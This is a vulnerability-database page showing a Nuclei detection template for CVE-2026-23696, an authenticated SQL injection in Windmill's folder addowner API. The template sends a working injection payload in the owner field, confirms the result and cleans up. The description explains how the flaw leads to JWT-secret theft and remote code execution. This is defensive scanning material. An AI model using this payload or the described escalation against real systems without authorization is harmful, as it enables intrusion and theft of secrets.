Lucene search
+L

Windmill < 1.603.3 - SQL Injection

🗓️ 13 Aug 2026 04:34:35Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 15 Views

Windmill authenticated SQL injection in addowner exposes secrets and enables full compromise.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-23696
7 Apr 202616:50
attackerkb
circl
Circl
CVE-2026-23696
7 Apr 202619:33
circl
cnnvd
CNNVD
Windmill SQL注入漏洞
7 Apr 202600:00
cnnvd
cve
CVE
CVE-2026-23696
7 Apr 202616:50
cve
cvelist
Cvelist
CVE-2026-23696 Windmill < 1.603.3 File Ownership Handling SQLi RCE
7 Apr 202616:50
cvelist
euvd
EUVD
EUVD-2026-19748
7 Apr 202618:31
euvd
nuclei
Nuclei
Windmill < 1.603.3 - Operator Authorization Bypass
13 Aug 202604:34
nuclei
nvd
NVD
CVE-2026-23696
7 Apr 202617:16
nvd
ptsecurity
Positive Technologies
PT-2026-30914
7 Apr 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-23696
26 May 202602:12
redhatcve
Rows per page
id: CVE-2026-23696

info:
  name: Windmill < 1.603.3 - SQL Injection
  author: chocapikk,DhiyaneshDk
  severity: critical
  description: |
    Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.
  impact: |
    An attacker with any valid Windmill credentials (including operator accounts) can extract the JWT signing secret from the database, forge an admin token, escalate to super admin privileges, and execute arbitrary commands on the server.
  remediation: |
    Update Windmill to version 1.603.3 or later which sanitizes the owner input before SQL query construction.
  reference:
    - https://github.com/Chocapikk/Windfall
    - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe
    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23696
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-23696
    epss-score: 0.16017
    epss-percentile: 0.96609
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 5
    vendor: windmill-labs
    product: windmill
  tags: cve,cve2026,windmill,sqli,authenticated

variables:
  folder: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  http("list-workspaces") && http("create-folder") && http("sqli-inject") && http("read-folder") && http("cleanup")

http:
  - id: list-workspaces
    raw:
      - |
        GET /api/workspaces/list HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: workspace
        part: body
        group: 1
        regex:
          - '"id"\s*:\s*"([^"]+)"'
        internal: true

  - id: create-folder
    raw:
      - |
        POST /api/w/{{workspace}}/folders/create HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"name":"{{folder}}"}

    matchers:
      - type: word
        part: body
        words:
          - "Created folder"
        internal: true

  - id: sqli-inject
    raw:
      - |
        POST /api/w/{{workspace}}/folders/addowner/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"owner":"x\"}',(SELECT to_jsonb(11*11*11)),true)--"}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: read-folder
    raw:
      - |
        GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"x":1331'

      - type: status
        status:
          - 200

  - id: cleanup
    raw:
      - |
        DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: status
        status:
          - 200
        internal: true
# digest: 4b0a004830460221009e3506bc9dd80c299874d153c7c77ab0a1456e9c1aa5f78d5407b81f771b2a36022100dddaec796d65eeeb103a9da753d216fc48e3cc4806404c8b7834b1dd12307a38:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation